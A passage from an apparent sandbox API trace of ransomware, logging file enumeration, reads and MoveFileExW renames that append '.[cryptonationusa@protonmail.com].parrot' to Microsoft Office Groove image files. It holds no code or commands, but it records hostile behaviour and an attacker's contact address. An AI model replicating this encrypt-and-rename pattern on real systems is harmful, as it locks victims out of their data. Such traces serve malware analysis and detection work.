"c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimagemask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimagemask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.378] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.379] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.396] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.396] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x630, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x630, lpOverlapped=0x0) returned 1 [0187.396] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.397] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageMaskSmall.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimagemasksmall.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageMaskSmall.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimagemasksmall.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.403] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.403] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.405] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.405] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1dd7, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x1dd7, lpOverlapped=0x0) returned 1 [0187.406] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.406] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageSmall.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimagesmall.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageSmall.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimagesmall.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.411] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.411] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.412] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.412] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2798, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x2798, lpOverlapped=0x0) returned 1 [0187.413] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.414] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\MessageBoxIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\messageboxiconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\MessageBoxIconImages.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\messageboxiconimages.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.418] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.418] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.418] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.419] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc0, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xc0, lpOverlapped=0x0) returned 1 [0187.419] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.419] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\MessageBoxIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\messageboxiconimagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\MessageBoxIconImagesMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\messageboxiconimagesmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.469] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.470] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.471] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.471] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1fec, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x1fec, lpOverlapped=0x0) returned 1 [0187.472] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.473] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadicon.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIcon.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadicon.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.479] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.479] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.481] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.481] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ffe, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x1ffe, lpOverlapped=0x0) returned 1 [0187.482] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.482] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadiconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIconImages.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadiconimages.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.487] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.487] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.488] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.488] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5a4, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x5a4, lpOverlapped=0x0) returned 1 [0187.489] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.489] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadiconimagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIconImagesMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadiconimagesmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.493] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0187.493] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfbc6e160, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfbc6e160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0187.493] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x633fe700, ftCreationTime.dwHighDateTime=0x1c95fc8, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb8dc060, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x45e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_Auto.jpg.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ALERTI~1.PAR")) returned 1 [0187.494] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0187.494] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0187.494] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60440c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0187.494] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0187.494] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0187.494] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80130d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80130d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="computericon.jpg", cAlternateFileName="COMPUT~1.JPG")) returned 1 [0187.495] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.495] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.497] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.497] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe1b, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xe1b, lpOverlapped=0x0) returned 1 [0187.497] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.497] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers\\computericon.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericon.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers\\computericon.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.504] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.504] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.505] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.505] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x838, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x838, lpOverlapped=0x0) returned 1 [0187.506] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.506] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericonMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers\\computericonmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericonMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers\\computericonmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.510] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0187.510] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfbcba420, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfbcba420, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0187.511] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80130d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfbc942c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x0, dwReserved1=0x0, cFileName="computericon.jpg.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="COMPUT~1.PAR")) returned 1 [0187.511] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0187.511] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0187.511] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x607d2d50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0187.511] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0187.511] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0187.511] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0009600, ftCreationTime.dwHighDateTime=0x1ca0588, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0009600, ftLastWriteTime.dwHighDateTime=0x1ca0588, nFileSizeHigh=0x0, nFileSizeLow=0x393c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiscussionToolIconImages.jpg", cAlternateFileName="DISCUS~1.JPG")) returned 1 [0187.511] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.512] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.513] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.513] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x393c, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x393c, lpOverlapped=0x0) returned 1 [0187.514] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.515] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\DiscussionToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion\\discussiontooliconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\DiscussionToolIconImages.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion\\discussiontooliconimages.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.519] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.520] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.530] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.530] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1738, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x1738, lpOverlapped=0x0) returned 1 [0187.531] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.532] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\DiscussionToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion\\discussiontooliconimagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\DiscussionToolIconImagesMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion\\discussiontooliconimagesmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.536] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0187.536] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfbce0580, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfbce0580, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0187.536] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0009600, ftCreationTime.dwHighDateTime=0x1ca0588, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfbcba420, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiscussionToolIconImages.jpg.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="DISCUS~1.PAR")) returned 1 [0187.536] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0187.537] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0187.537] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0187.537] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0187.537] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0187.537] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | 